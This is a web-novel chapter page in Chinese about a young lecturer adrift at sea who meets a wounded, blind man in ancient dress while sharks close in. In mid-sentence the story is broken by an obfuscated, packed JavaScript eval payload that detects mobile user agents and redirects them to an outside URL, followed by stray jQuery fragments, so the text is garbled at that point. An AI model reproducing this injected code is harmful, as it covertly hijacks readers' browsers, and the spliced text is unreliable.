1. 蒼天饒過誰(2 / 2)

【B】睡完就跑

【C】饞……慫……漂過

【D】帶他上岸

當時在場的那幾個朋友都有過一段以上的戀愛史,唯獨唐綰妝二十八周歲了,還是一張白紙。

因此大家都急得嚴重懷疑唐綰妝的性取向,拋給她這道題試探一二。

唐綰妝設身處地想了想自己的反應,極可能是“饞……慫……漂過”,飛快遊回岸邊,畢竟美男沒有命重要。

不過就算真有這樣的備選項,唐綰妝也不能選,因為沒出息,很丟臉。

於是唐綰妝選了“睡完就跑”,以證明她的性取向沒問題。

“嗬嗬……”即便如此,大家還是異口同聲地嗬嗬了幾秒,顯然不信唐綰妝有這麼彪。

單身汪好氣哦,唐綰妝還在心裡罵罵咧咧,“看不起誰啊?倒是給我個帥裂蒼穹又昏迷不醒的美男,我睡完就跑不帶猶豫的。”

所以蒼天饒過誰,嘴炮一時爽,爽完海上漂。

蒼天有好生之德,接下來是不是某個美男要上場了?

美男是不是帥裂蒼穹真不重要,重要的是他的裝備給力一點。

比如有艘奢華霸氣的大輪船,美男在大輪船寬闊的甲板上昏迷不醒,是這樣的吧?

唰!有什麼蹭到了唐綰妝的胳膊,她本能地伸手去抓,抓到了一根樹枝,新鮮粗壯的鬆樹枝。

驚喜,那種落水螻蟻抓到救命稻草般的驚喜,刹那間卷裹住了唐綰妝,海水好像也不再那麼冰冷刺骨。

隻要抱緊這根粗樹枝,唐綰妝存活的幾率就大了許多,再仔細看時,越發驚喜,不是一根鬆樹枝,而是一棵大鬆樹。

足有三四十米長的鬆樹一大半沉沒在海水下,穩穩地漂浮著

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13267773|139912||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

,水上部分枝乾繁茂。

幾乎是手腳並用,唐綰妝快速地爬到了繁密的枝乾上,整棵鬆樹並沒有因為多了她而下沉太多。

太好了,她的小命八成是保住了,不用再去苦哈哈巴望什麼美男的大輪船。

緊繃的神經剛鬆弛下來,唐綰妝的手腕一緊……她眼睜睜看著水裡探出一隻慘白的大手,精準扣住了她的手腕……水鬼索命!?

“啊……”唐綰妝聲嘶力竭的驚叫聲驟起,在海風中久久回蕩不息,漫漫無際的夜色猶如死神編織的牢籠,徒留絕望茫然。

唐綰妝用儘全力也掙不脫那隻手,隻好強迫自己冷靜,壯著膽子湊近,看到枝乾間躺著一個人,披散的長發淩亂地遮掩了臉,另一隻手握著一把寒鋒湛然的匕首,橫擋在胸前。

這人穿著黑色武袍和同色靴子,渾身濕漉漉的卻掩不住冷肅矜貴的淩亂美。

盯著那把匕首,唐綰妝緩緩地挺直背脊,求生欲爆棚,“小哥哥……我也掉海裡了,也想活下去,我們一起漂吧!”

“咳咳咳……”那人驀地劇烈咳嗽起來,緩緩地把匕首放入靴中。

“小哥哥,你兩條腿泡在水裡太冷了,我幫你往前挪挪可以嗎?”

噓寒問暖拉好感時,唐綰妝依舊趴著沒動,因為手腕還被抓著,那股力道令她無比忌憚,仿佛隨時可以擰斷她的胳膊。

陡然,唐綰妝手腕上的力道儘數卸去,那隻慘白的手乏力地垂入海水。

“那我試試!”唐綰妝往前爬了爬,左手抓著略粗的樹枝小心翼翼保持平衡,右手穿過那人腋下往前拖移,直到他的雙腳都露出水麵才停下。

又冷又累,唐綰妝大口喘氣,聽到身旁的人緩緩開腔,沙啞醇沉的男聲很悅耳。

“姑娘……血……”怕唐綰妝聽不懂似的,他抬手指了指左小腿。

唐綰妝湊過去,看見他的褲子破了道口子,小腿側麵的傷口猙獰可怖血水湧流,血息很重。

很快,唐綰妝簡單包紮了他的傷口,“小哥哥,你傷口進了海水,現在隻是簡單包紮一下,最好是讓醫院大夫好好處理一下,免得感染化膿,不是我嚇唬你,我有個同事海泳受傷了,還沒你嚴重,可他不當回事耽擱了幾天,結果差點被鋸了腿,當然前提是,如果我們可以活著上岸。”

終於見到了同類大活人,唐綰妝心存僥幸,或許自己仍舊身處現世,說完後靜待男人的反應。

見男人沒吭聲,在大學已執教一年的唐綰妝犯了職業病,忍不住繼續叨叨,心存的那抹僥幸猶如熊熊火焰,或許她真的是在現世海上漂?

“小哥哥,群演圈都這麼卷了嘛,你都出意外了,把假發摘掉吧,箍得怪難受的……”

說著,唐綰妝伸手去拽男人的頭發,男人吃痛,輕然嘶了一聲,淩然怒意席卷而至,不過沒有什麼實質性攻擊動作。

唐綰妝死心了,人家是古代男人,沒有戴假發套是真長發,“對不起……”

正尷尬間,男人抬手指了指樹冠那邊,如臨大敵般語氣凝重,“有大家夥……我的血引來的,彆怕。”

唐綰妝看著樹冠後方,控製不住嗓音顫抖,“小……哥哥,我看見它們鐵灰色的背鰭了,兩條牛鯊,一條兩米多長,一條將近四米,雖然我們藏身的這棵鬆樹有三四十米長,但牛鯊極具攻擊力,又皮糙肉厚,用鬆樹枝戳過去,戳斷了,也戳不破它們的糙皮……”

還沒說完,男人醇沉好聽的聲線傳來,攜著安撫人心的力量,“彆怕,掰一根粗點兒的枝乾,用匕首削尖,等它湊近就戳眼睛……”

唐綰妝瞥了眼他手上的匕首,眸光流轉,“小哥哥,你是男人,你讓我一個弱女子和兩條牛鯊打架,合適?”

男人又往前送了送匕首,聲線平靜地講道理,“我失明了……聽風辨物也隻能辨彆出大概所在,因此,它們的眼睛,這種比較小的要害部位,我無法精準戳中。”

男人不知道,唐綰妝聽他說完後,唇角微揚,還是不接那把匕首,就像是對犯錯的學生略施薄懲。

“小哥哥,你說得很有道理,可是你想過嗎?把鬆樹枝掰下來對付牛鯊,這條‘船’的穩固性就變差了,你一個失明的人,又有腿傷,如果沒有足夠多的枝條圍護著,很容易掉進海裡葬身魚腹。”

上一頁 書頁/目錄 下一章